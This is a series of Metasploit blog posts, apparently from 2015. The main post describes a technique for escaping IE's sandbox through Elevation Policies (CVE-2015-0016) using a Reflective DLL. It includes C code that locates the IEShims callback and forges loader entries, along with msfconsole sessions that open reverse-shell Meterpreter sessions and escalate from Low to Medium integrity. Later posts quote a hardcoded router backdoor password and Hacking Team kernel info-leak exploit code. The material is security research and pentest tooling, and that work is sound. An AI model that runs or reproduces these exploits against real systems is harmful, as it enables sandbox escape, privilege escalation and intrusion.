Skip navigation
All Places > Metasploit > Blog > 2015 > August

As you are probably aware, sandbox bypasses are becoming a MUST when exploiting desktop applications such as Internet Explorer. One interesting class of sandbox bypasses abuse IE's Elevation Policies. An example of this type of sandbox bypass is CVE-2015-0016. The vulnerability has already been analyzed by Henry Li, who published a complete description in this blog entry.  This kind of vulnerability abuses the TSWbPrxy.exe component (which is already executed as a Medium Integrity process due to an Elevation Policy) in order to run arbitrary code with Medium Integrity. An exploit for this vulnerability already exists in Metasploit.


An interesting note about this exploit (and others abuses of IE Elevation Policies) is that the exploit is implemented as a regular DLL run by Meterpreter's old "in-memory" loader, based on the original design by skape and Jarkko Turkulainen. In case you are not familiar with how this loader works, it hooks several ntdll methods related to DLL loading. In contrast, the latest Meterpreter code accomplishes in-memory loading through Reflective DLL Injection. Indeed, many local exploits, including Meterpreter itself, are implemented as Reflective DLLs.


So, why aren't we implementing exploits for IE Elevation Policies as Reflective DLLs? The short answer is that their import address table (IAT) is not patched automatically with the IE shims.  As a result, any calls (like CreateProcess)  will be evaluated against the Elevation Policies  (thanks 0vercl0k for the grammar warning )  won't be evaluated against the Elevation Policies, since they won't reach the broker. It means that, while you can use kernel exploits with Reflective DLLs to bypass sandboxes, you are stuck when attempting to abuse a policy.


Let us examine CVE-2015-0016 as an example of policy abuse. According to the IE Elevation Policy, TSWbPrxy.exe should be executed as Medium Integrity:


Screen Shot 2015-08-26 at 4.45.17 PM.png


Indeed, if you build a plain DLL to create the new TSWbPrxy.exe process, and use the Meterpreter's old memory loader, you will notice that the new process runs as Medium Integrity.



But, if you try to do the same with a Reflective DLL, you'll notice that the new process runs as Low Integrity:



In the last case, the IAT of the DLL has not been patched either:

0:006> !dh 02a40000 -f

File Type: DLL
     14C machine (i386)
       5 number of sections
55DE3622 time date stamp Wed Aug 26 16:56:50 2015

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            32 bit word machine

     10B magic #
   12.00 linker version
    A600 size of code
    8800 size of initialized data
       0 size of uninitialized data
    15F5 address of entry point
    1000 base of code
         ----- new -----
10000000 image base
    1000 section alignment
     200 file alignment
       2 subsystem (Windows GUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
   16000 size of image
     400 size of headers
       0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   10120 [      59] address [size] of Export Directory
   1017C [      28] address [size] of Import Directory
   14000 [     1E0] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
   15000 [     CB8] address [size] of Base Relocation Directory
    C140 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    FD30 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    C000 [      F8] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

0:006> dps 02a40000+C000 02a40000+C000+F8
02a4c000  76d92082 kernel32!CreateProcessA
02a4c004  76de8eaf kernel32!GetCommandLineAStub
02a4c008  76ddc410 kernel32!GetCurrentThreadIdStub
02a4c00c  76dd7e1a kernel32!IsDebuggerPresentStub
02a4c010  76de6c1e kernel32!IsProcessorFeaturePresent
02a4c014  76ddcde0 kernel32!GetLastErrorStub
02a4c018  76ddc3f0 kernel32!SetLastError
02a4c01c  771ba295 ntdll!RtlEncodePointer
02a4c020  771bcd10 ntdll!RtlDecodePointer
02a4c024  76debbe2 kernel32!DisablePredefinedHandleTableForIndex
02a4c028  76dd54ff kernel32!GetModuleHandleExWStub
02a4c02c  76ddcc94 kernel32!GetProcAddressStub
02a4c030  76ddef07 kernel32!MultiByteToWideCharStub
02a4c034  76ddeefa kernel32!WideCharToMultiByteStub
02a4c038  76ddfcdd kernel32!GetProcessHeapStub
02a4c03c  76de8e97 kernel32!GetStdHandleStub
02a4c040  76de6ab4 kernel32!GetFileTypeImplementation
02a4c044  771b9ac5 ntdll!RtlDeleteCriticalSection
02a4c048  76dde2dd kernel32!GetStartupInfoWStub
02a4c04c  76ddd75a kernel32!GetModuleFileNameAStub
02a4c050  76ddc3c0 kernel32!HeapFree
02a4c054  76ddc422 kernel32!QueryPerformanceCounterStub
02a4c058  76ddd7b5 kernel32!GetCurrentProcessIdStub
02a4c05c  76ddd816 kernel32!GetSystemTimeAsFileTimeStub
02a4c060  76de6bc4 kernel32!GetEnvironmentStringsWStub
02a4c064  76de6bac kernel32!FreeEnvironmentStringsWStub
02a4c068  76df0651 kernel32!UnhandledExceptionFilter
02a4c06c  76ddf4fb kernel32!SetUnhandledExceptionFilter
02a4c070  76ddea21 kernel32!InitializeCriticalSectionAndSpinCountStub
02a4c074  76ddc266 kernel32!SleepStub
02a4c078  76ddd7a0 kernel32!GetCurrentProcessStub
02a4c07c  76dd2c05 kernel32!TerminateProcessStub
02a4c080  76ddd804 kernel32!TlsAllocStub
02a4c084  76ddf760 kernel32!TlsGetValueStub
02a4c088  76ddf783 kernel32!TlsSetValueStub
02a4c08c  76de5259 kernel32!TlsFreeStub
02a4c090  76ddccac kernel32!GetModuleHandleWStub
02a4c094  771a7790 ntdll!RtlEnterCriticalSection
02a4c098  771a7750 ntdll!RtlLeaveCriticalSection
02a4c09c  76deb915 kernel32!IsValidCodePageStub
02a4c0a0  76ddd90b kernel32!GetACPStub
02a4c0a4  76dd440a kernel32!GetOEMCPStub
02a4c0a8  76de8e7f kernel32!GetCPInfoStub
02a4c0ac  76de53ee kernel32!WriteFileImplementation
02a4c0b0  76ddef35 kernel32!GetModuleFileNameWStub
02a4c0b4  76dd50c1 kernel32!LoadLibraryExWStub
02a4c0b8  76dc92da kernel32!RtlUnwindStub
02a4c0bc  771b2dd6 ntdll!RtlAllocateHeap
02a4c0c0  771cff8f ntdll!RtlReAllocateHeap
02a4c0c4  76de532e kernel32!GetStringTypeWStub
02a4c0c8  76dc6e3a kernel32!OutputDebugStringWStub
02a4c0cc  771b9bec ntdll!RtlSizeHeap
02a4c0d0  76de528c kernel32!LCMapStringWStub
02a4c0d4  76dc852f kernel32!FlushFileBuffersImplementation
02a4c0d8  76ddbf19 kernel32!GetConsoleCP
02a4c0dc  76dec110 kernel32!GetConsoleMode
02a4c0e0  76e1fcf9 kernel32!SetStdHandleStub
02a4c0e4  76dcfbb2 kernel32!SetFilePointerExStub
02a4c0e8  76dd857d kernel32!WriteConsoleW
02a4c0ec  76dde868 kernel32!CloseHandleImplementation
02a4c0f0  76dde8a5 kernel32!CreateFileWImplementation
02a4c0f4  00000000
02a4c0f8  00000000

The Reflective DLL is, unfortunately, too stealthy here (what an irony! ). An obvious solution to this problem to would be to patch the DLL's IAT by ourselves. In order to do that, we need a list of the IE Shims to patch. Unfortunately, this would require a lot of maintenance in order to keep the list of hooks up to date, requiring changes for every Windows update.


A second and better strategy would be to allow Windows/IE to do the work for us. The first question we need to ask is, what IE does in order to get a module's IAT patched when it loads it? We can find a clue in the excellent paper by Mark Vicent Yanson "Diving Into IE 10's Enhanced Protected Mode Sandbox". According to this paper: "The shim mechanism is provided by the ieshims.dll module which sets up a callback that is called every time a DLL is loaded via the ntdll!LdrRegisterDllNotification() API". If you check the list of registered callbacks on NTDLL for a Low Priviliged iexplore process, the IESHIMS callback (IEShims!CShimBindings::_LdrNotificationCallback) is the first one:


0:006> dd ntdll!LdrpDllNotificationList L3
77237280  00419010 00419010 00300026
0:006> dd 00419010 L3
00419010  77237280 77237280 6c643b40
0:006> u 6c643b40 L1
6c643b40 6a04            push    4


The main purpose of the callback is to verify the required shims for the new loaded library (with the help of CShimBindings::_GetNeededShims()), and fixup the entry point of the module on his LDR_DATA_TABLE_ENTRY. Here is the moment of patching the DNSAPI.dll LD_ENTRY_TABLE_ENTRY (still with the original entry point 0x74a063f9):

ModLoad: 749f0000 74a34000   C:\Windows\system32\DNSAPI.dll
Breakpoint 0 hit
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48
eip=6c643dcd esp=036bdb1c ebp=036bdb28 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
6c643dcd c7461c8029646c  mov     dword ptr [esi+1Ch],offset IEShims!CShimBindings::s_DllMainHook (6c642980) ds:0023:0033aa9c={DNSAPI!_DllMainCRTStartup (74a063f9)}
0:014> r esi
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]
   +0x018 DllBase          : 0x749f0000 Void
   +0x01c EntryPoint       : 0x74a063f9 Void
   +0x020 SizeOfImage      : 0x44000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "DNSAPI.dll"
   +0x034 Flags            : 4
   +0x038 LoadCount        : 0
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]
   +0x03c SectionPointer   : 0x7723a678 Void
   +0x040 CheckSum         : 0x262ffc
   +0x044 TimeDateStamp    : 0x4ce7b7e6
   +0x044 LoadedImports    : 0x4ce7b7e6 Void
   +0x048 EntryPointActivationContext : (null)
   +0x04c PatchInformation : (null)
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]
   +0x068 ContextInformation : (null)
   +0x06c OriginalBase     : 0x6dc00000
   +0x070 LoadTime         : _LARGE_INTEGER 0x01d0e0d1`4f8116b0


After installing the instruction, the new entry point (0x6c642980) can be observed:


0:014> p
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48
eip=6c643dd4 esp=036bdb1c ebp=036bdb28 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
6c643dd4 c6474001        mov     byte ptr [edi+40h],1       ds:0023:0027af88=00
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]
   +0x018 DllBase          : 0x749f0000 Void
   +0x01c EntryPoint       : 0x6c642980 Void
   +0x020 SizeOfImage      : 0x44000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "DNSAPI.dll"
   +0x034 Flags            : 4
   +0x038 LoadCount        : 0
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]
   +0x03c SectionPointer   : 0x7723a678 Void
   +0x040 CheckSum         : 0x262ffc
   +0x044 TimeDateStamp    : 0x4ce7b7e6
   +0x044 LoadedImports    : 0x4ce7b7e6 Void
   +0x048 EntryPointActivationContext : (null)
   +0x04c PatchInformation : (null)
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]
   +0x068 ContextInformation : (null)
   +0x06c OriginalBase     : 0x6dc00000
   +0x070 LoadTime         : _LARGE_INTEGER 0x01d0e0d1`4f8116b0
0:014> u  0x6c642980 L1
6c642980 8bff            mov     edi,edi


Once the library is loaded, it's the address where the NTDLL loader code will transfer execution:


Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=036bdbbc edx=00000020 esi=036bdb24 edi=036bdbe0
eip=6c642980 esp=036bdb14 ebp=036bdb30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
6c642980 8bff            mov     edi,edi
0:014> kb
ChildEBP RetAddr  Args to Child    
036bdb10 771b89d8 749f0000 00000001 00000000 IEShims!CShimBindings::s_DllMainHook
036bdb30 771c5c71 6c642980 749f0000 00000001 ntdll!LdrpCallInitRoutine+0x14
036bdc24 771c052e 00000000 7fa602ab 771a7c8a ntdll!LdrpRunInitializeRoutines+0x26f
036bdd90 771c2322 036bddf0 036bddbc 00000000 ntdll!LdrpLoadDll+0x4d1
036bddc4 75178bb1 00281104 036bde08 036bddf0 ntdll!LdrLoadDll+0x92
036bde00 75179044 00000000 00000000 00281104 KERNELBASE!LoadLibraryExW+0x1d3
036bde20 76ba3611 76d2d6c0 00000000 00000000 KERNELBASE!LoadLibraryExA+0x26


The IEShims!CShimBindings::s_DllMainHook method will patch the module IAT with the help of CShimBindings::ApplyShims() and finally call the original entry point:


Breakpoint 2 hit
eax=00000001 ebx=0027af48 ecx=74a063f9 edx=0027ba50 esi=036bdac4 edi=74a063f9
eip=6c642a9c esp=036bdab8 ebp=036bdb10 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
6c642a9c ffd7            call    edi {DNSAPI!_DllMainCRTStartup (74a063f9)}


At this point you can observe how the required DNSAPI IAT entries have been pached and redirected to the IE Shims:


0:014> !dh DNSAPI -f

File Type: DLL
     14C machine (i386)
       4 number of sections
4CE7B7E6 time date stamp Sat Nov 20 05:58:30 2010

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            32 bit word machine

     10B magic #
    9.00 linker version
   37C00 size of code
    A000 size of initialized data
       0 size of uninitialized data
   163F9 address of entry point
    1000 base of code
         ----- new -----
749f0000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
   44000 size of image
     600 size of headers
   50F65 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
    12C8 [    1AF9] address [size] of Export Directory
   37998 [     1A4] address [size] of Import Directory
   3C000 [    4A58] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
   41000 [    26A4] address [size] of Base Relocation Directory
   38A14 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
   23E58 [      40] address [size] of Load Configuration Directory
     278 [     324] address [size] of Bound Import Directory
    1000 [     2C8] address [size] of Import Address Table Directory
   374BC [     100] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

0:014> dps DNSAPI+1000 DNSAPI+1000+2C8
749f1000  76e79894 msvcrt!free
749f1004  76e79cee msvcrt!malloc
749f1008  76e9dc75 msvcrt!_XcptFilter
749f100c  76e7c151 msvcrt!_initterm
749f1010  76e7ad52 msvcrt!towlower
749f10bc  6c6431e0 IEShims!NS_GetProcAddressShim::APIHook_GetProcAddress


So far so good! Next, can we reach IEShims!CShimBindings::_LdrNotificationCallback with our reflective DLL? Our first approach was to add a fake entry to the InMemoryOrderModuleList and then reuse LoadLibrary to reach the "IEShims!CShimBindings::_LdrNotificationCallback". Unfortunately, soon we discovered this was not sufficient to reach the point where the DLL notification callbacks are executed. As a second attempt, we tried to determine the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to get the address of the callback, we used the following technique:


  1. Get the address of the export ntdll!LdrRegisterDllNotification
  2. From there, search for the address of the _LdrpDllNotificationList. This list saves the collection of registered callbacks. With IE, the first callback is the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to implement a (hopefully) reliable search mechanism, we use the new entry in the list as a signature.


Screen Shot 2015-08-27 at 10.46.32 AM.png


The resulting code to disclose the pointer to the IEShims callback looks something like:


// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback
static SIZE_T SearchLdrNotificationCallback()
  HMODULE ntdll = LoadLibraryA("ntdll.dll");
  FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification");
  PUCHAR searchPtr = (unsigned char *)registerDllMethod;
  UCHAR testByte = 0x00;
  SIZE_T pNotificationList = 0;
  SIZE_T pNotificationCallback = 0;
  for (int i = 0; i < 0x1000; i++) {
       if (searchPtr[i] == searchPtr[i + 5] + 4 &&
            searchPtr[i + 1] == searchPtr[i + 6] &&
            searchPtr[i + 2] == searchPtr[i + 7] &&
            searchPtr[i + 3] == searchPtr[i + 8]) {
            searchPtr = searchPtr + i;
            pNotificationList = *(SIZE_T *)searchPtr;
       if (searchPtr[i] == searchPtr[i + 6] + 4 &&
            searchPtr[i + 1] == searchPtr[i + 7] &&
            searchPtr[i + 2] == searchPtr[i + 8] &&
            searchPtr[i + 3] == searchPtr[i + 9]) {
            searchPtr = searchPtr + i;
            pNotificationList = *(SIZE_T *)searchPtr;

  memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T));
  pNotificationCallback += sizeof(SIZE_T) * 2;

  return pNotificationCallback;


By the way, if you have of a better way (not depending on any search) to disclose the IEShims!CShimBindings::_LdrNotificationCallback, we would love to know about it!


Once the address of the callback has been disclosed, we are ready to call it directly. As you recall, this call will modify the entry point on the LDR_DATA_TABLE_ENTRY for the notified library. So, we need to insert a new LDR_DATA_TABLE_ENTRY on the InMemoryOrderModuleList of the process being exploited. In order to understand better the process, here is a step-by-step description of what happens:


  • Create a new LDR_DATA_TABLE_ENTRY for the loaded reflective DLL.


static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint)
  fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY));
  memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY));
  fakeLdrEntry->DllBase = dllBase;
  fakeLdrEntry->EntryPoint = entryPoint;
  fakeLdrEntry->SizeOfImage = 0x1b000;
  fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll";
  fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2;
  fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2;
  fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll";
  fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2;
  fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2;


  • Hook the LDR_DATA_TABLE_ENTRY into the InMemoryOrderLinks list of the attacked process:


staticVOID HookFakeModule(HINSTANCEhinstDLL, PVOIDep) {
  PentryPoint entryPoint = (PentryPoint)ep;
  _PPEB pPeb = (_PPEB)__readfsdword(0x30);

  LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList;
  // Make Backup to restore later
  headBackup = head;

  PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8);
  CreateFakeModule(firstEntry, hinstDLL, entryPoint);

  // Insert the fake entry in the InMemoryOrderModuleList
  fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink;
  fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink;
  // Fix the list
  pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks);
  pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks);



  • Create a LDR_DLL_LOADED_NOTIFICATION_DATA structure for our Reflective DLL (so we can call the IEShims notification callback later).


staticVOID CreateFakeNotification(HINSTANCEhinstDLL)
  fakeNotification->DllBase = hinstDLL;
  fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
  fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll";
  fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2;
  fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2;
  fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
  fakeNotification->FullDllName->pBuffer = L"WinRefl.dll";
  fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2;
  fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2;
  fakeNotification->SizeOfImage = 0x1b000;
  fakeNotification->Flags = 0;


  • Disclose the address of IEShims!CShimBindings::_LdrNotificationCallback as explained before, and call it directly.


Once the callback is executed successfully, we should be able to retrieve the address of the CShimBindings::s_DllMainHook from the patched entry point in our crafted LDR_DLL_LOADED_NOTIFICATION_DATA. Good enough! Now we call CShimBindings::s_DllMainHook by ourselves, allowing IEShims to:

  1. patch our reflective DLL IAT and
  2. call our reflective DLL entry point again!

At that moment we should be able to exploit the policy escalation, escaping the sandbox and living happily as a Medium Integrity process!


As a proof of concept, the Metasploit module ms15_004_tswbproxy for CVE-2015-0016 has been updated to use a Reflective DLL. The Pull Request with all the code can be found here: Update ms15_004_tswbproxy to use a Reflective DLL by jvazquez-r7 · Pull Request #5896 · rapid7/metasploit-framework · Gi…. The changes are already in master, so you can sync your metasploit-framework to get them!


You can test all the above by yourself in the next easy way:

  • Install a target. A Windows 7 SP1 machine with IE (and not MS15-004) should work.
  • Get a Meterpreter session on the target. It doesn't matter how you get the session really. For this example, I have embedded a meterpreter/reverse_tcp payload into an EXE and used the exploit/multi/handler to retrieve a new session.


msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost
lhost =>
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 1 opened ( -> at 2015-08-26 15:28:01 -0500


  • Migrate the session to an IE renderer Low Privileged process.


meterpreter > migrate 3500
[*] Migrating from 2708 to 3500...
;[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...


  • Use the ms15_004_tswbproxy on the session and get a new session.


msf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy
msf exploit(ms15_004_tswbproxy) > set session 1
session => 1
msf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms15_004_tswbproxy) > set lhost
lhost =>
msf exploit(ms15_004_tswbproxy) > rexploit
[*] Reloading module...

[*] Started reverse handler on
[*] Checking target...
[*] Checking the Process Integrity Level...
[*] Storing payload on environment variable...
[*] Exploiting...
[*] Injecting exploit into 3500...
[*] Payload injected. Executing exploit...
[*] Sending stage (885806 bytes) to
[*] Meterpreter session 2 opened ( -> at 2015-08-26 15:28:44 -0500

meterpreter > getpid
Current pid: 3232


  • The new Meterpreter session should live in a Medium Integrity process!



And that's all for today We hope you enjoyed the reading and found the information here useful in order to write your own policy abuses with Metasploit!


Weekly Metasploit Wrapup

Posted by todb Employee Aug 27, 2015

Time for another weekly wrapup for Metasploit! Since it's been getting some play in the news, I wanted to use this space to talk a little bit more about CERT's recent advisory regarding hardcoded credentials on small office / home office (SOHO) routers. You probably know it by it's decidedly non-poetic identifier, VU#950576.


Hardcoded credentials are one of the most well-known common vulnerabilities for SOHO routers from nearly every vendor. These are not software bugs in the traditional sense, but specific username and passwords that are trivial to exploit, very rapidly, across thousands to millions of these devices.linksys-router.png


These backdoors are usually not reachable directly from the Internet; the attacker must be on the local network in order to use them to reconfigure devices. However, this shouldn't necessarily be comforting. While attackers must be "local," most of these credentials are usable on the configuration web interface, and a common technique is to use a cross-site scripting (XSS) attack on a given website to silently force the user (on the inside network) to log in to the device and commit changes on the attacker's behalf.


Attackers on free, public WiFi are also on the local network, and can make configuration changes to a router that can affect anyone else connected to that access point.


Once an attacker has administrative control over the router, the opportunity for mischief and fraud are nearly limitless. He can do anything from setting up custom DNS configurations, which will poison the local network's name resolution, to completely replacing the firmware with his own, enabling him to snoop and redirect any and all traffic at will.


Backdoor credentials like these are certainly not new; simply Googling the Observa Telecom hidden administrator account password, 7449airocon, turns up nearly 400 hits on sites ranging from legitimate router security research blogs to sites dedicated to criminal activity. I'm glad that CERT/CC is bringing attention to this problem. Manufacturers must make every effort to at least allow end-users to change these passwords, and ideally, passwords would be generated, randomly, on first boot or firmware restore. Until manufacturers stop using default passwords on the devices users rely on for Internet connectivity, we will continue to see opportunistic attacks on home and small business routers.


So what does this all have to do with Metasploit? Well, we have a few contributors who regularly kick out exploit and auxiliary modules for SOHO land, with Michael m-1-k-3 Messner as the reigning champion of most SOHO router modules authored. That guy is pretty amazing, and thanks to his and all the rest of the SOHO router hacking crowd, we have about fifty or so Metasploit modules specifically for SOHO routers.


The bummer, of course, is that SOHO routers are rarely in scope for any normal pentest, unless your engagement is with a retail coffee shop or restaurant or something. We've known that the "border" between the external network and the internal network is a convenient fiction, and that division is eroding even more today as more and more people opt out of traffic (and pants) by telecommuting to work. Because of this trend, which shows no signs of slowing down, I hope to see pentesting scopes start to include that home network with the backdoor'ed router.


If you have decently-sourced stats on organizations who get popped by an attacker pivoting through a home router, or otherwise using SOHO router control to skip into a company's internal network, I'd love to see them. Just comment below.


New Modules


We have nine new modules this week: four exploits and five auxiliary modules. Pay extra attention to the OS X 'tpwn' bug, which was discussed at length a week or so back. It's a privilege escalation issue, and while it's local only, there are scenarios where I can imagine this thing would be very effective. US schools sometimes have shared computer labs, full of Apple desktops, shared several times a day with many people. If one of them happens to have root on OS X, it's not all that difficult to start keystroke logging and picking up everyone's Myspace account credentials. Or whatever other social media service that the kids are into these days.


For other changes since the last Wrapup, just swing by this compare view, and see who all has been hacking on Metasploit Framework lately.


Exploit modules


Auxiliary and post modules


Workspace in your prompt

Posted by egypt Employee Aug 19, 2015

This is the simple prompt that msfconsole gives you by default:


The second part, "exploit(psexec)" shows your current context is the exploit module named psexec. You can't change that because it's an important indicator of where you are. The first part, though, is just a default string to tell you you're in msfconsole. It can be controlled with the global Prompt option; you can set it to whatever you want:


setg Prompt lolhax



But that's not too exciting. To make it more interesting, there are several substitutions you can do to get more information out of the framework every time you hit enter. Check out this post from when the feature was introduced for more details on the existing variables.


New Shiny


Metasploit uses "workspaces" as a means of separating data ( and has for a long time). Now you can add your workspace to your prompt with the %W specifier:



Further, the save command now captures the current workspace as well, so the next time you fire up msfconsole, you'll start in the workspace you left off in and it will be displayed in your shiny new prompt.


Revisiting an Info Leak

Posted by juan.vazquez Employee Aug 14, 2015

Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch:


Screen Shot 2015-08-13 at 2.56.26 PM.png

This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But, after our analysis, it appears that there is still an information leak vulnerability present after the patch is applied.


Since the patch is related to win32k!NtGdiGetTextMetricsW, we suspected it could be for the initial info leak exploited in vlad902/hacking-team-windows-kernel-lpe · GitHub:


// Leak the base address of `win32k.sys`. This infoleak is slightly different from
// the standalone infoleak because we need to handle the position-independent nature
// of this exploit.
ULONGLONG win32k_infoleak() {
    // Declaring functions that we want to use (see FunctionSignatures.h).
    FuncCreateCompatibleDC MyCreateCompatibleDC;
    FuncDeleteDC MyDeleteDC;

    ULONGLONG win32k_base_addr = 0;
    HDC hdc;

    // Get function addresses.
    MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068);
    MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2);

    hdc = MyCreateCompatibleDC(NULL);
    if (hdc == NULL) {
        return NULL;

    // Leak the address and retrieve it from `buffer`.
    MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);

    DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4);  // High DWORD of leaked address
    DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38);      // Low DWORD of leaked address

    // Check: High DWORD should be a kernel-mode address (i.e.
    // 0xffff0800`00000000). We make the check stricter by checking for a
    // subset of kernel-mode addresses.
    if ((hi & 0xfffff000) != 0xfffff000) {
        return NULL;

    // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
    // the following computation.
    win32k_base_addr = ((ULONGLONG)hi << 32) | lo;

    // Adjust for offset to get base address of `win32k.sys`.
    win32k_base_addr -= 0x0003cf00;

    // Check: Base address of `win32k.sys` should be of the form
    // 0xFFFFFxxx`00xxx000.
    if ((win32k_base_addr & 0xff000fff) != 0) {
        return NULL;

    return win32k_base_addr;


The important line to retrieve the win32k.sys address is:


    // Leak the address and retrieve it from `buffer`.
    MyGetTextMetricsW(hdc, INFOLEAK_BUFFER);


This will invoke the NtGdiGetTextMetricsW syscall, whose purpose, according to the msdn documentation, is to fill "the specified buffer with the metrics for the currently selected font.". Filling a buffer with metrics coming from the kernel definitely sounds interesting .


Here is the prototype for the user space API:


BOOL GetTextMetrics(
  _In_  HDC          hdc,


And here is the syscall prototype, according to ReactOS:





